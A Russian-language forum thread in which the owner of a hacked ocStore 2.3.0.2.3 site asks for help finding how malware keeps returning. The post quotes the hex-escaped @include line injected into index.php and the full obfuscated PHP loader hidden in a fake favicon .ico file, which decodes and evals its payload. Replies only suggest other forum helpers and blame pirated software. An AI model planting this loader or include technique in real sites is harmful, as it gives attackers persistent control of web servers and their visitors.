лезет вирусня favicon.ico

[pamdev]

Добрый день!!!
помогите найти дыру на сайте nika-nagel.com
от него постоянно идет спам и всякая другая хрень
как то заливают в корень help.php и в разные директории faviocn-sfds.ico
с вредоносным кодом
чистка не помогает через 3-7 часов все повторяется

вот такой код в индекс прописывают

/*a0869*/

@include "\x2fhom\x65/u5\x34469\x2fnik\x61-na\x67el.\x63om/\x77ww/\x2egit\x2fobj\x65cts\x2ffe/\x66avi\x63on_\x65ce1\x66b.i\x63o";

/*a0869*/

это инклюд favicon
в нем

 

<?php
if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);

 $ycwrbhzihq = 6597; function grgxti($sgchnvxofx, $xglkk){$jwvuaeotqp = ''; for($i=0; $i < strlen($sgchnvxofx); $i++){$jwvuaeotqp .= isset($xglkk[$sgchnvxofx[$i]]) ? $xglkk[$sgchnvxofx[$i]] : $sgchnvxofx[$i];}
$eoslyi="base" . "64_decode";return $eoslyi($jwvuaeotqp);}
$vvfzzoz = 'wE6SXM94aidUZvV05XldZzLTZdHYavZzOX9bVejq5xYSXM94aidUZvV05XlYavlUmpLJasLcLJrnqXM3wE4PDk84psS'.
'dlXnzakfgpvVgmkSQl1dTadH0DkQdLJrnqXM3wE4PmpLJasLUZiVrasL0Dk8z5wP4br05EtSdlfH0DkQdpvj4akd05wP4br'.
'05wE6SXidi5XfMmkm4aiVM5XLE2f9UoeHqyAM4wE43wE6nyXPnm1ViDk8d5XLE2f9UoeHqyArnydjhyAM3wE4HwE6SXidi5XfMm'.
'km4aiVM5XLu2VLfEQoIeddUe0VEEVL9VuH2yAM4wE43wE6nyXPnm1ViDk8d5XLu2VLfEQoIed'.
'dUe0VEEVL9VuH2yArnyANA5xYSXz0SXn05Dk7n5XfMmkm4aiVM5Xl9xfLfEeompQLVxdNjSwoBbw'.
'lBmB7JqvLGbwLG7km4SBGJDkfAqxmGl1dTqxnz52MSXzYSXAPnyX9M'.
'mkm4aie6L0fqeMV9ofdUedVbpcu0S1qgSvSiSByc7iugqifGmiMvbtL47kyjSif0DkNjbXZYywu4br05wE6n'.
'yXPnL1oGl1unI29bVejqbr05yXPnyXoM7poGpvWdF2PHyu8Vxur3'.
'wE6SXAPnyXPMo0jIEMfqeQYz7sSU7pV0DXllyw0nLcngbwSMSkqsOxMJSkyW'.
'Swu0q20gSxyvOxM8mwMjqwmMqBq0mAZ3wE6nyXPnmvjT7ifYyXoBZQHGlpo6br0'.
'5wE6SXAPnyX94mAP6ykmQaiS0DkHhpvVgDpS0ZJnzmidYmVHrlpoU7vHhl1Vhltqz52MSXAPnyX93wE6nyXPnyXPny1mQaiS0D'.
'kHhy1m4a1VUZtV0pvSTazodazoc5XohOXPMmXrnL1mY7kZnI2917kjcm2MSXAPnyXPnyXPnFr05yXPnyXPnyX'.
'PnyXPnL1QTm1enI2PMmijGmJPHI2PgywNnLvuzyw6nLsZzbr05yXPnyXPn'.
'yXPnyXPnL17nI29PmiHrmkg6L1gYyXoWavod5xYSXAPnyXPnyXPnyXPny1diyXnM'.
'mAPHIx0noifYZve4wE6nyXPnyXPnyXPnyX93wE6nyXPnyXPnyXPny'.
'XPnyXPnZiV0lpLhywP3wE6nyXPnyXPnyXPnyX9HwE6nyXPnyXPnyXPnyX9datSdwE6nyXPnyXPnyXPnyX93wE6nyXPnyXPn'.
'yXPnyXPnyXPnDk7n51dcpvfJZif85XoM52MnL1EnI294ap9Yav'.
'od5XoM5xYSXAPnyXPnyXPnyXPnyXPnyXPM7zd0mpSUlsL4ltodaAPHy1msZid0m2nMmArnL1E4br05yXP'.
'nyXPnyXPnyXPnyXPny1mBa1Hcm2nMmAM3wE6nyXPnyXPnyXPnyXPnyXPnZiV0lpLhyXoAFpodZQHsZi'.
'd0l1Vhbr05yXPnyXPnyXPnyXPnUE05yXPnyXPnyX9HwE6nyXPnUE05wE6nyXPnDk7n5Xfilk8B'.
'l1dTadHdF1dcltq6Lvm4a1VUmvV0pvSTazodazocLJM4wE6nyXPnFr05yXPnyXPnyX9ilk8Bl1dTaA9iDkjdpv'.
'ldlfHBav80mk80ZJnMmidYmk8Gake4wE6nyXPnyXPnytYSXAPnyXPnyXPn'.
'yXPnyXoiD1fhm1jdyw0nmiHrmkg6L1m4a1Vh7kQdOXPAZAy4br05yXPnyXPnyXPnyXPnL1mBav8'.
'0mk80ZJPHy1mJmkfM5XoiD1fhm1jdOX9iDkjdZvdKm2nMmidYm'.
'k8Gake45xYSXAPnyXPnyXPnyXPny1mBa1Hcm2nMmiGGaioYm2M3w'.
'E6SXAPnyXPnyXPnyXPnytLdltVJaAPMmiSTazodazocbr05yXPnyXPnyX9HwE6nyXPnUE05yXPny1mQaiS0DkHhy1'.
'ScpvldlfHBlpLJmk80pvm4a1Vr7po65XMSXAPnyX93wE6nyXPnyXPnytLdltVJaA90ZidW5t9Jmkl'.
'UZiVra1fBm2nAOQr6OA4ZLXNAOXPzLJrnpQH12ejfpQN45xYSXAPnyX9HwE6SXAPnyX9ilk8Bl1dTaA9BZQHMmkSJF'.
'p90ps967pSd5XoM7poGOXPMDvV85E05yXPnytYSXAPnyXPnyXPnL1HQlfHM7po'.
'Gyw0nyAy3wE6SXAPnyXPnyXPnmiHJyXnMDx0rbJPMDxjcltLYmkg6L1oGl1u4bJMSXAPnyXPnyXPnFr05yXPnyXPn'.
'yXPnyXPnmiHJyXnMDB0rbJPMDBjcltLYmkg6L1WdF2MnLA7nL1MNZsoJa1Vh5'.
'XoM7poG5xYnL16C5JrnL1MC5JMSXAPnyXPnyXPnyXPnytYSXAPnyX'.
'PnyXPnyXPnyXPnyXPMasV0pvoGl1unOB0n7vGJ51HJmXnMm1f07VYMDV04yfgnasLM5XoCmpdaL14l52M3wE6nyX'.
'PnyXPnyXPnyX9HwE6nyXPnyXPnyt0SXn05yXPnyXPnyX9JmpoQZignL1HQlfHM7po'.
'Gbr05yXPnyt0SXn05yXPny1mQaiS0DkHhy1Scpvod7sL8ZtE6L1oGl1uYyXoCmpM4wE'.
'6nyXPnFr05yXPnyXPnyX9za1HA7krnL1ScpvfQl1n3wE6SXAPnyXPnyXPnZiV0lpLhy1Scpvod7sL8ZtoUZ1GGZve67sSUm1VB'.
'ZzdrlfHrD1fcm2nMm1f072rnL1WdF2MYyXoBZQHGlpo65xYSXAPnyX9HwE6nyXPnmzVh7so4avgn7sS'.
'Umk8BZzdrlXnMm1f072rnL1WdF2MSXAPnyX93wE6nyXPnyXPny1lYavLGaXPM7sSU7pV0DwYSXn0'.
'5yXPnyXPnyX9JmpoQZign7sSUm1VBZzdrlfHrD1fcm2GBZQHMmkSJFp90ps967pSd5XoM7poGOXP'.
'M7sSU7pV0DXMYyXoCmpM4br05yXPnyt0SXn05yXPny1mQaiS0DkHhy1ScpvldlfHratV'.
'zDk8U7vHhmidz5XMSXAPnyX93wE6nyXPnyXPnyXocmkjipvSTazodazEnI29PmidYmVHzmpoU'.
'7vHhl1Vhltq67sSUmvV0pvSQZzLdazoUmidYmp9Gl1n652M3wE6SXAPnyXPnyXPnL1STaim4mQHrasqnI29cltL'.
'rasq6LtSda1mU7vHhl1VhlXrnakEQ51ScpvldlfHBlpLJmk80pvm4a1Vr7po65XM45xYSXAPnyXPn'.
'yXPnDk7n5XoBav8iDklUZ1HcyXuHI291Eejxo2MSXAPnyXPnyXPnFr05yXPnyXPnyXPnyXP'.
'nL1STaim4mJPHytSQ7zS0ZAnMZvVYmdHBav80mk80OXPM7vHhmidzps9TZJPCywqJ5xYSXAPnyXPnyX'.
'PnyXPnyXoratVzDk8cyw0nEtVhZvVJDkfYDp4d51Scpvod7sL8ZtE67ifcmx70pvod7vHMm2nM'.
'7vHhmidz52rnakEQ51ScpvldlfHBlpLJmk80pvm4a1Vr7po65XM4'.
'52M3wE6nyXPnyXPnyt0SXAPnyXPnyXPnmkjcmE05yXPnyXPnyX93wE6nyXPnyXPny'.
'XPnyXPMZ1jQmvdhZJPHyufJZif85XM3wE6nyXPnyXPnyt0SXn05yXPnyXPnyX9J'.
'mpoQZignLt9Ylkl4azq3wE6nyXPnUE05wE6nyXPnmzVh7so4avgn7s'.
'SUZvV0ps9Ylkl4adHBav8iDkZ6Lt9Ylkl4azq4wE6nyXPnFr05yXPnyXPnyXPM7vHhmidzpvVh7JPHy1LG'.
'ZvevSfHdaiSTm1e67sSUmk8BZzdrlXGPZvVJDkfYDp4d5XoratVzDk'.
'8c52rnakEQ51ScpvldlfHBlpLJmk80pvm4a1Vr7po65XM452M3wE6nyXPnyXPnyXocmkjipvSTazodazEnI29PmidYmVHzmpoU7v'.
'Hhl1Vhltq67sSUmvV0pvSQZzLdazoUmidYmp9Gl1n652M3wE6SXAPnyXPnyXPnL1STaim'.
'4mQHrasqnI29cltLrasq6LtSda1mU7vHhl1VhlXrnakEQ51ScpvldlfHBlpLJmk80pvm4a1Vr7po65'.
'XM45xYSXAPnyXPnyXPnDk7n5XoBav8iDklUZ1HcyXuHI291Eejxo2MSXAP'.
'nyXPnyXPnFr05yXPnyXPnyXPnyXPnL1STaim4mQHTa1EnI29clkLclty6LtSda1mU7vHhl1VhlXrnL1STaim4mQHra'.
'sqn5JPcqAM3wE6nyXPnyXPnyXPnyXPMZvVYmdHBav80mk80yw0nZsoJpsLdZ1jG7ve6L1STaim4mQHTa1EY'.
'yXoBav8iDklUmk8BOXPMZvVYmdHBav80mk805xYSXn05yXPnyXPnyX9HwE6nyXPnyXPny1VYZveSXAPnyXPnyXPnF'.
'r05yXPnyXPnyXPnyXPnLtSda1mU7vHhl1VhlXPHyXocmkjipvSTazodazEnOA'.
'PAp18ZaANTyAPhy1QMS2GBZQHzmpoU7sVJZiVhlfHiDkjdZ1f0DXn452P'.
'hyXoBav8iDklUmk8Bbr05yXPnyXPnyX9HwE6SXAPnyXPnyXPnE1m4a'.
'1VUZtV0pvSTazodazoc51ScpvldlfHBlpLJmk80pvm4a1Vr7po65XMYyXocmkjipvSTazodazE4b'.
'r05yXPnyt0SXn05yXPny1mQaiS0DkHhy1Scps9Ylkl4adHGm1E6L18GakeYyXoA7pSdSBoUm1f072MS'.
'XAPnyX93wE6nyXPnyXPnyXoratVzDk8cyw0n7sSUmvV0ps9Ylkl4adHBav8iDkZ65xYSXn05yX'.
'PnyXPnyXPMZ1jQmvdhZQYMaifWmV0nI29A7pSdSBoUm1VBavod5XoA7pSdSBoUm1f072M3wE6SXAP'.
'nyXPnyXPn7sSUZvV0ps9Ylkl4adHBav8iDkZ6Lt9Ylkl4azq4br05yXPnyt0SXn05yXPny1mQaiS0DkHhy1Scps9Ylkl4adHJmk'.
'06L18Gake4wE6nyXPnFr05yXPnyXPnyXPMZ1jQmvdhZJPHy1Scp'.
'vldlfHratVzDk8U7vHhmidz5XM3wE6SXAPnyXPnyXPnlk8cmpE6Lt9Ylkl4azSaL18GakVl'.
'5xYSXn05yXPnyXPnyX9BZQHcmpoUZ1jQmvdhpvSTaim4mJnMZ1jQmvdhZJM3w'.
'E6nyXPnUE05wE6nyXPnmzVh7so4avgn7sSUZ1jQmvdhpvjT7kE6L18GakeHxdVqxXMSXA'.
'PnyX93wE6nyXPnyXPny1mTZiVG7vnn51ScpvldlfHratVzDk8U7vHhmidz5XMn7pqnLt9h7kQdIxgMZ1STazodazE4wE6'.
'nyXPnyXPnytYSXAPnyXPnyXPnyXPny1diyXnMaifWm2MSXAPnyXPnyXPnyXPnytYSXAPnyXPnyX'.
'PnyXPnyXPnyX94mAP6ZsoJ7vQr5Xoh7kQdOXPMZ18Gake4yw0HywP4wE6nyXPnyXPnyXPnyXPnyXP'.
'nFr05yXPnyXPnyXPnyXPnyXPnyXPnyX9dlifY5Xor7vHhl1VhlXM3wE6nyXPnyXPnyXPnyXPnyXPnyXPny1LJmkfCbr05yXP'.
'nyXPnyXPnyXPnyXPnyt0SXAPnyXPnyXPnyXPnyt0SXAPnyXPnyXPnyXPny'.
'1VYZveSXAPnyXPnyXPnyXPnytYSXAPnyXPnyXPnyXPnyXPnyX9dlifY5Xor7'.
'vHhl1VhlXM3wE6nyXPnyXPnyXPnyX9HwE6nyXPnyXPnyt0SXAPnyX9'.
'HwE6SXAPnyX9iasLd7kS6yXnMp0SIx0WLo29GZJPMDvV8IxgMlifYlke4wE6nyXPnFr05yXPnyXPnyXP'.
'Mm1f072PHyXov7kjQmxYSXAPnyXPnyXPnL1oGl1fUDvV8yw0nL1WdFxYSXAPnyX9HwE6SXAPnyX94mAP6y2o'.
'M7poG5E05yXPnytYSXAPnyXPnyXPnmiHJmkfBDXP6LfHExQSey1fcyXoCmpMHIAov7kjQm2MSXAPnyXPnyXPnFr05yXPny'.
'XPnyXPnyXPnL1oGl1unI2PMlifYlke3wE6nyXPnyXPnyXPnyXPMm1f07VHCmpMnI2PMDvV8br05yX'.
'PnyXPnyX9HwE6nyXPnUE05wE6nyXPnL1oGl1unI29Plk8cmpL47kj4Fie67sSUm1VBZzdrlXGA7pS'.
'dSBoUm1VBavod5XoM7poG52rnL1oGl1fUDvV852M3wE6SXAPnyX9'.
'4mAP6DpScmpE6L1oGl1faLvfCLQ04yX7iyXoBZQHGlpo6Ix0Mm1f07VYz7kYzp2MSXAPnyX93wE6nyXPnyXPny1d'.
'iyXnMm1f07VYz72llyw0HyXl4LJMSXAPnyXPnyXPnFr05yXPnyXPnyXPny'.
'XPnL1MnI299ZzLGF2nSXAPnyXPnyXPnyXPnyXPnyXPzZt7zyw0+yu9rDt9vmpLcDkHh5XMYwE6nyXPnyXPnyXPnyXP'.
'nyXPnLsSvLJPHIAPzqAgrOxuzOP05yXPnyXPnyXPnyXPnyXPnyX'.
'lGDJZnIxgnL1oGl1faLvfCLQ0YwE6nyXPnyXPnyXPnyXP4br05yXPnyXPnyXPnyXPnmkS6aJ9PZvVJDkfYDp4d5Xo4'.
'5xYSXAPnyXPnyXPnyXPny1VgDpE3wE6nyXPnyXPnyt0SXAPnyXPnyXPnmkjcmkdiyX'.
'nMm1f07VYz72llyw0HyXldLJMSXAPnyXPnyXPnFr05yXPnyXPnyXPnyXPnmpmGaXnMm1f07VYzmXl'.
'l5xYSXAPnyXPnyXPnUE05yXPnyXPnyX9datSdDk7n5XoM7poGkJlGLQ0nIx0nLs9Ylkl4aAZ4wE6nyXPnyXPnytYSXAPn'.
'yXPnyXPnyXPny1di5XoM7poGkJlc72llyw0HyXlGm1Ez5E05yXPnyXPnyXPnyXPnFr05yXPnyX'.
'PnyXPnyXPnyXPny1Scps9Ylkl4adHGm1E6L1oGl1faLsPzp2rnL1oGl1faLvEz'.
'p2M3wE6nyXPnyXPnyXPnyX9HwE6nyXPnyXPnyXPnyX9datSdDk76L1oGl1faLsSGLQ0nIx0nLsLda2Z4wE6nyXPnyXPnyXPn'.
'yX93wE6nyXPnyXPnyXPnyXPnyXPn7sSUZ1jQmvdhpsLda2nMm1f07VYzZXll5xYSXAPnyXPnyXPnyXPnyt0SXAPnyXPnyXPnUE0'.
'5yXPnyXPnyX9d7vGTyXoM7poGkJlGDJllbr05yXPnyXPnyX9dF1d05XM3wE6nyXPnUE05wE6nyXPn7sSUZ'.
'1jQmvdhpvjT7kE65xYSXz0=';
$ibdaskom = Array('1'=>'G', '0'=>'0', '3'=>'7', '2'=>'S', '5'=>'K', '4'=>'p', '7'=>'Y', '6'=>'o', '9'=>'B', '8'=>'5', 'A'=>'i', 'C'=>'r', 'B'=>'j', 'E'=>'Q', 'D'=>'a', 'G'=>'h', 'F'=>'e', 'I'=>'P', 'H'=>'9', 'K'=>'6', 'J'=>'y', 'M'=>'k', 'L'=>'J', 'O'=>'L', 'N'=>'8', 'Q'=>'1', 'P'=>'A', 'S'=>'N', 'R'=>'q', 'U'=>'f', 'T'=>'v', 'W'=>'t', 'V'=>'V', 'Y'=>'s', 'X'=>'C', 'Z'=>'c', 'a'=>'b', 'c'=>'z', 'b'=>'O', 'e'=>'U', 'd'=>'l', 'g'=>'4', 'f'=>'F', 'i'=>'m', 'h'=>'u', 'k'=>'W', 'j'=>'x', 'm'=>'Z', 'l'=>'d', 'o'=>'R', 'n'=>'g', 'q'=>'M', 'p'=>'X', 's'=>'3', 'r'=>'w', 'u'=>'E', 't'=>'H', 'w'=>'D', 'v'=>'2', 'y'=>'I', 'x'=>'T', 'z'=>'n');
eval/*ls*/(grgxti($vvfzzoz, $ibdaskom));
}

 

[pamdev]

версия сайта Версия ocStore 2.3.0.2.3
 

[pamdev]

4 минуты назад, nikifalex сказал:

недоконца чистите

по чему я много файлов чистил и все равно потом заново все повторяется
потому как дыру я не нашел..

[agefremov]

Советую к https://opencartforum.com/profile/27725-halfhope/ обратиться

[pamdev]

Спасибо,

[markimax]

У нас еще один "доктор" есть  - @snastik

[snastik]

26 минут назад, markimax сказал:

У нас еще один "доктор" есть  - @snastik

Там судя по всему варез!